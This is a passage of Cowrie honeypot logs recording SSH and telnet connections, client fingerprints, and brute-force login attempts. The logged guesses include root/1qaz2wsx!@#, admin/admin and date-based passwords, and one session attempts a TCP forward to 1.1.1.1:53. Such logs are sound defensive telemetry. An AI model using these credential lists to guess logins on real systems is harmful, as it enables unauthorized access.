01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:47:58.145146Z","src_ip":"103.15.226.202","session":"250267024b22","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qaz2wsx!@#","message":"login attempt [root/1qaz2wsx!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:47:58.903979Z","src_ip":"103.15.226.202","session":"250267024b22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:48:00.147828Z","src_ip":"103.15.226.202","session":"250267024b22","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":32.30504846572876,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:48:04.726443Z","src_ip":"128.199.8.54","session":"41f9ac615d63","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.493589878082275,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:48:11.466837Z","src_ip":"128.199.8.54","session":"c227dcec3153","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.04058623313904,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:48:11.934458Z","src_ip":"128.199.8.54","session":"6a917ab16c14","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47160,"dst_ip":"159.203.135.109","dst_port":23,"session":"b3a82766126e","protocol":"telnet","message":"New connection: 128.199.8.54:47160 (159.203.135.109:23) [session: b3a82766126e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:48:12.052629Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36804,"dst_ip":"159.203.135.109","dst_port":23,"session":"c8e5405c03a2","protocol":"telnet","message":"New connection: 128.199.8.54:36804 (159.203.135.109:23) [session: c8e5405c03a2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:48:14.258378Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50410,"dst_ip":"159.203.135.109","dst_port":23,"session":"7300fda1101e","protocol":"telnet","message":"New connection: 128.199.8.54:50410 (159.203.135.109:23) [session: 7300fda1101e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:48:21.228830Z"}
{"eventid":"cowrie.session.closed","duration":35.00657105445862,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:48:23.052980Z","src_ip":"128.199.8.54","session":"f95727e09d52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.77461504936218,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:48:25.911791Z","src_ip":"128.199.8.54","session":"3a3d8c5159d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.628448724746704,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:48:26.619344Z","src_ip":"128.199.8.54","session":"be44f488bf8e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":49932,"dst_ip":"159.203.135.109","dst_port":23,"session":"73abf7b9ecda","protocol":"telnet","message":"New connection: 128.199.8.54:49932 (159.203.135.109:23) [session: 73abf7b9ecda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:48:35.820495Z"}
{"eventid":"cowrie.session.closed","duration":32.54236721992493,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:48:44.594871Z","src_ip":"128.199.8.54","session":"b3a82766126e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39992,"dst_ip":"159.203.135.109","dst_port":23,"session":"2ed9005afd85","protocol":"telnet","message":"New connection: 128.199.8.54:39992 (159.203.135.109:23) [session: 2ed9005afd85]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:48:46.071618Z"}
{"eventid":"cowrie.session.closed","duration":35.205477714538574,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:48:49.463732Z","src_ip":"128.199.8.54","session":"c8e5405c03a2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":15752,"dst_ip":"10.17.0.5","dst_port":22,"session":"0c09407b65f3","protocol":"ssh","message":"New connection: 87.251.64.176:15752 (10.17.0.5:22) [session: 0c09407b65f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:48:50.660585Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:48:50.665323Z","src_ip":"87.251.64.176","session":"0c09407b65f3","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:48:50.762775Z","src_ip":"87.251.64.176","session":"0c09407b65f3","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:48:51.052233Z","src_ip":"87.251.64.176","session":"0c09407b65f3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:48:51.151093Z","session":"0c09407b65f3","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:48:51.248951Z","src_ip":"87.251.64.176","session":"0c09407b65f3","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:48:51.348115Z","src_ip":"87.251.64.176","session":"0c09407b65f3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":58820,"dst_ip":"159.203.135.109","dst_port":23,"session":"cb25a0548a63","protocol":"telnet","message":"New connection: 128.199.8.54:58820 (159.203.135.109:23) [session: cb25a0548a63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:48:55.509031Z"}
{"eventid":"cowrie.session.closed","duration":36.0034441947937,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:48:57.232202Z","src_ip":"128.199.8.54","session":"7300fda1101e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.0042679309845,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:48:58.520859Z","src_ip":"212.55.149.117","session":"c8af74e39086","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39102,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf54b583c31c","protocol":"telnet","message":"New connection: 128.199.8.54:39102 (159.203.135.109:23) [session: bf54b583c31c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:48:58.626573Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36414,"dst_ip":"159.203.135.109","dst_port":23,"session":"277334e9892f","protocol":"telnet","message":"New connection: 128.199.8.54:36414 (159.203.135.109:23) [session: 277334e9892f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:49:04.525257Z"}
{"eventid":"cowrie.session.closed","duration":32.44075393676758,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:49:08.261090Z","src_ip":"128.199.8.54","session":"73abf7b9ecda","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":36520,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fa149f0de53","protocol":"telnet","message":"New connection: 212.55.149.117:36520 (10.17.0.5:23) [session: 4fa149f0de53]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:49:16.347044Z"}
{"eventid":"cowrie.session.closed","duration":0.01050424575805664,"message":"Connection lost after 0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:49:16.357441Z","src_ip":"212.55.149.117","session":"4fa149f0de53","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.016241788864136,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:49:18.087742Z","src_ip":"128.199.8.54","session":"2ed9005afd85","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53722,"dst_ip":"159.203.135.109","dst_port":23,"session":"0fc0c08e5179","protocol":"telnet","message":"New connection: 128.199.8.54:53722 (159.203.135.109:23) [session: 0fc0c08e5179]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:49:20.391048Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":33452,"dst_ip":"159.203.135.109","dst_port":23,"session":"e172b8849b67","protocol":"telnet","message":"New connection: 128.199.8.54:33452 (159.203.135.109:23) [session: e172b8849b67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:49:23.124847Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38922,"dst_ip":"159.203.135.109","dst_port":23,"session":"d3413c37830b","protocol":"telnet","message":"New connection: 128.199.8.54:38922 (159.203.135.109:23) [session: d3413c37830b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:49:25.715929Z"}
{"eventid":"cowrie.session.closed","duration":32.58119058609009,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:49:28.090085Z","src_ip":"128.199.8.54","session":"cb25a0548a63","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45456,"dst_ip":"159.203.135.109","dst_port":23,"session":"9baf59539717","protocol":"telnet","message":"New connection: 128.199.8.54:45456 (159.203.135.109:23) [session: 9baf59539717]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:49:28.651639Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":54488,"dst_ip":"159.203.135.109","dst_port":23,"session":"bec532e38844","protocol":"telnet","message":"New connection: 128.199.8.54:54488 (159.203.135.109:23) [session: bec532e38844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:49:33.022216Z"}
{"eventid":"cowrie.session.closed","duration":34.40763831138611,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:49:33.034102Z","src_ip":"128.199.8.54","session":"bf54b583c31c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":59952,"dst_ip":"159.203.135.109","dst_port":23,"session":"fe91bcd70421","protocol":"telnet","message":"New connection: 128.199.8.54:59952 (159.203.135.109:23) [session: fe91bcd70421]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:49:42.549500Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50856,"dst_ip":"159.203.135.109","dst_port":23,"session":"6fc0f12c3d2f","protocol":"telnet","message":"New connection: 128.199.8.54:50856 (159.203.135.109:23) [session: 6fc0f12c3d2f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:49:47.764222Z"}
{"eventid":"cowrie.session.closed","duration":46.4721577167511,"message":"Connection lost after 46 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:49:50.997294Z","src_ip":"128.199.8.54","session":"277334e9892f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.56886005401611,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:49:52.959785Z","src_ip":"128.199.8.54","session":"0fc0c08e5179","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.51983571052551,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:49:57.644571Z","src_ip":"128.199.8.54","session":"e172b8849b67","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":43936,"dst_ip":"159.203.135.109","dst_port":23,"session":"5c565e6b3f9a","protocol":"telnet","message":"New connection: 128.199.8.54:43936 (159.203.135.109:23) [session: 5c565e6b3f9a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:49:57.831788Z"}
{"eventid":"cowrie.session.closed","duration":33.3362398147583,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:49:59.052011Z","src_ip":"128.199.8.54","session":"d3413c37830b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":58442,"dst_ip":"159.203.135.109","dst_port":23,"session":"1104b993708f","protocol":"telnet","message":"New connection: 128.199.8.54:58442 (159.203.135.109:23) [session: 1104b993708f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:01.964193Z"}
{"eventid":"cowrie.session.closed","duration":34.837095975875854,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:03.488632Z","src_ip":"128.199.8.54","session":"9baf59539717","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.28622317314148,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:05.308338Z","src_ip":"128.199.8.54","session":"bec532e38844","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.121.25","src_port":35395,"dst_ip":"159.203.135.109","dst_port":22,"session":"bbd172ace9fa","protocol":"ssh","message":"New connection: 2.57.121.25:35395 (159.203.135.109:22) [session: bbd172ace9fa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:08.517446Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.9.0","message":"Remote SSH version: SSH-2.0-libssh2_1.9.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:08.522958Z","src_ip":"2.57.121.25","session":"bbd172ace9fa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"57446c12547a668110aa237e5965e374","hasshAlgorithms":"ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 57446c12547a668110aa237e5965e374","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:08.634252Z","src_ip":"2.57.121.25","session":"bbd172ace9fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"16051980","message":"login attempt [user/16051980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:09.130168Z","src_ip":"2.57.121.25","session":"bbd172ace9fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"16051979","message":"login attempt [user/16051979] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:10.241991Z","src_ip":"2.57.121.25","session":"bbd172ace9fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1605","message":"login attempt [user/1605] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:11.351889Z","src_ip":"2.57.121.25","session":"bbd172ace9fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"16041980","message":"login attempt [user/16041980] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:12.463178Z","src_ip":"2.57.121.25","session":"bbd172ace9fa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1604","message":"login attempt [user/1604] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:13.572024Z","src_ip":"2.57.121.25","session":"bbd172ace9fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.2","message":"Connection lost after 6.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:14.682001Z","src_ip":"2.57.121.25","session":"bbd172ace9fa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":33.15726947784424,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:15.706658Z","src_ip":"128.199.8.54","session":"fe91bcd70421","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":45420,"dst_ip":"159.203.135.109","dst_port":23,"session":"4aa1adeae9e6","protocol":"telnet","message":"New connection: 128.199.8.54:45420 (159.203.135.109:23) [session: 4aa1adeae9e6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:23.649892Z"}
{"eventid":"cowrie.session.closed","duration":36.72921657562256,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:24.493280Z","src_ip":"128.199.8.54","session":"6fc0f12c3d2f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.773397207260132,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:29.605011Z","src_ip":"128.199.8.54","session":"5c565e6b3f9a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"186.190.215.90","src_port":41992,"dst_ip":"10.17.0.5","dst_port":22,"session":"a6c7365809b0","protocol":"ssh","message":"New connection: 186.190.215.90:41992 (10.17.0.5:22) [session: a6c7365809b0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:30.912215Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T10:50:30.916898Z","src_ip":"186.190.215.90","session":"a6c7365809b0","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 